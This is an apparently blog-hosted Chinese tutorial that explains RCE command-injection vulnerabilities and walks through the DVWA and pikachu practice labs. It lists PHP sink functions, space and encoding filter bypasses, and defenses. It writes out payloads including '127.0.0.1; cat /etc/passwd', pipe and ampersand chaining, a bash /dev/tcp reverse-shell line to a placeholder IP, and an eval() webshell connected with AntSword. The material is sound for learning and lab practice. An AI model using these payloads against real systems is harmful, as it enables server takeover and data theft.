一篇文章带小白从原理到靶场练习搞懂RCE命令执行漏洞

目录

 

一、RCE 攻击的原理

二、常见触发函数(以 PHP 为例)

三、攻击方式分类

四、常用绕过技术(过滤/黑名单绕过)

五、利用目的

六、防御措施

DVWA 靶场的 Command Injection(命令注入)模块。

low级别

漏洞点分析

利用方式示例

medium级别

high级别

pikachu 靶场的 Command Injection(命令注入)模块。

exec ping关卡

exec "eval"代码执行漏洞关卡


 

命令执行漏洞(Remote Command Execution, RCE(漏洞编号:CNVD-2021-30101 ))是指攻击者通过注入恶意命令,让目标服务器执行任意系统命令,从而控制服务器或获取敏感信息。


一、RCE 攻击的原理

RCE 漏洞的本质是:

服务器后端程序将用户输入的不可信数据拼接或传递给系统函数(如 system()exec()popen() 等)并执行。

Web 应用有时需要调⽤⼀些执行系统命令的函数,例如,如果想测试 www.xxx.com 是否可以正常连接,那么Web 应用底层就很可能去调用系统操作命令,如果此处没有过滤好用户输⼊的数据,就很有可能形成系统命令执行漏洞,使系统执行非预期的命令。


二、常见触发函数(以 PHP 为例)

函数

说明

system()

执行命令并输出结果

exec()

执行命令并返回最后一行

shell_exec()

执行命令并返回所有输出

passthru()

执行命令并直接输出原始数据

popen()

 / proc_open()

打开进程的管道

backticks(`ls`)

执行命令并返回结果

其他语言也有类似函数,例如:

  • Python :、os.system()subprocess.*

  • Java :Runtime.getRuntime().exec()


三、攻击方式分类

1. 直接命令注入

示例代码(PHP):

<?php
$cmd = $_GET['cmd'];
system($cmd);
?>

利用方式:

http://example.com/vuln.php?cmd=ls

2. 命令拼接

如果用户输入被拼接到命令中:

$ip = $_GET['ip'];
system("ping " . $ip);

攻击者输入:

127.0.0.1; cat /flag

执行命令:

ping 127.0.0.1; cat /flag

四、常用绕过技术(过滤/黑名单绕过)

  1. 空格绕过:

    • 使用${IFS}$IFS\t\n

    • 如:ping${IFS}127.0.0.1

  2. 字符编码绕过:

    • URL 编码、Unicode 编码等

  3. 命令替代:

    • $(command)`command`

    • 利用 shell 特性:如 、、、|&&||;

  4. 双重编码或截断:

    • %2520 解码两次为 (空格)%20

  5. 环境变量与别名替代:

    • 使用  之类的路径直接执行/bin/sh

    • 使用环境变量绕过路径限制


五、利用目的

  • 查看敏感文件(如 、)/etc/passwd/flag

  • 反弹 Shell (bash -i >& /dev/tcp/IP/PORT 0>&1)

  • 安装木马、远控

  • 横向移动或提权


六、防御措施

  • 永远不要信任用户输入

  • 对参数进行白名单校验

  • 避免使用系统命令,使用语言自带功能替代

  • 最小权限原则:Web 服务用户权限最小化

  • 使用 WAF 检测异常请求


DVWA 靶场的 Command Injection(命令注入)模块。

low级别

1.先从Low级别开始,low级别的代码接收了用户输⼊的ip,服务器通过判断操作系统执行不同 ping 命令。但是这⾥对⽤户输⼊的 ip 并没有进行任何的过滤,所以存在可利⽤的命令执行漏洞。

漏洞点分析

 

代码关键部分:

$target = $_REQUEST[ 'ip' ]; 
...
$cmd = shell_exec( 'ping  -c 4 ' . $target );
  • 用户可控参数  被直接拼接到 shell 命令中,然后传给  函数。$targetshell_exec()

  • 没有任何过滤或验证。

  • 攻击者可构造输入,如:,让系统执行多个命令。127.0.0.1; cat /etc/passwd

利用方式示例

⽤&&来执行多条命令,构造 payload(有效载荷):

127.0.0.1&&net user

  • &&是 shell 运算符,表示前一个命令成功时才执行后一个命令。

  • 127.0.0.1 是合法的 IP,会使 ping 正常执行。

  • net user 是 Windows 命令,列出系统所有用户。 如果执行环境是 Windows,会泄露当前系统的用户名信息。 如果是Linux,net user 会报错,但可以用 && cat /etc/passwd 等命令替代。

 

出现中文乱码的现象,我们先修改一下靶机的语言配置

方法一:

  • 按住win+r,在运行框中输入cmd弹出命令行,在命令行中输入“control intl.cpl”

  • 我们将它改成英语并重新启动即可(重启后记得打开PHP和MySQL服务)

 

重新输入发现没有中文乱码

127.0.0.1 & ipconfig

 

 

方法二

把 DVWA\dvwa\includes ⽬录下的 dvwaPage.inc.php ⽂件中所有的“charset=utf-8”,全部替换修改为“charset=gb2312”即可

 

medium级别

看一下源代码,发现&&和;被过滤掉了

不用&&,直接用&就可以!&&和&的区别在于 &&是执行完前面的命令然后执行后面的命令,&是不管前面的命令是否值执行,后面的都执行。

构造 poyload: 127.0.0.1 & ipconfig

 

high级别

查看一下源代码,发现相⽐于前⾯两个等级的,high 等级的⿊名单更完善了,但是由于只是过滤掉了 “| ” ,如果⽤ | 后不跟空格就可以绕过过滤

 127.0.0.1|net user

 

pikachu 靶场的 Command Injection(命令注入)模块。

exec ping关卡

pikachu 靶场同样提供了测试域名/IP 的 Ping 功能(命令执行漏洞模块),并将 Ping 命令的执行过程显示出来。下面测试域名:www.baidu.com 是否可以正常连接,如图:

 

先看一下源代码,没有发现被过滤的命令

查看一下ip:
127.0.0.1 & ipconfig

 

我们可以执行其他命令了,在很多时候打靶场我们都会利用rce来反弹监听。在知道了系统命令可以连接执行后,如果 Web 应用程序没有过滤好输入,就变得相当危险。常用的命令连接符:

Windows 和 Linux 都支持的连接符:

A|B   只执行 B
A||B  如果 A 执行出错,则执行 B,如果A执行成功就不执行B
A&B   先执行 A,不管是否成功,都会执行 B
A&&B  先执行 A,执行成功后执行 B,否则不执行B
A;B   先执行 A,再执行B(只有Linux⽀持的连接符)

A|B

 

A||B

 

 

A&B

 

 

A&&B

 

 

exec "eval"代码执行漏洞关卡

代码注入攻击与命令注入攻击不同。因为需求设计,后台有时候需要把用户的输入作为代码的一部分进行执行,也就造成了远程代码执行漏洞。

以pikachu为例

 

输⼊ phpinfo();(注意要带上分号)

 

发现直接执行了我们输入的代码。我们看一下源代码,查看代码发现是 eval()函数执行了我们的提交参数。

 

既然能执行eval(),那我们可以利用蚁剑构造一句话木马连接

$_POST['txt']

 

用蚁剑添加body表单字段,这里要注意的是编码器和解析器都选择base64,否则连接返回的数据为空

 

 

 

成功利用远程代码漏洞进入对方主机,如果需要提权,可以利用蚁剑连接的前提反弹监听,进一步进行渗透.

感兴趣的可以关注微信 公众号【Cauchy网安】,一起一步步慢慢来,该到达的高度终将会抵达的,加油,如有雷同纯属巧合

 

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值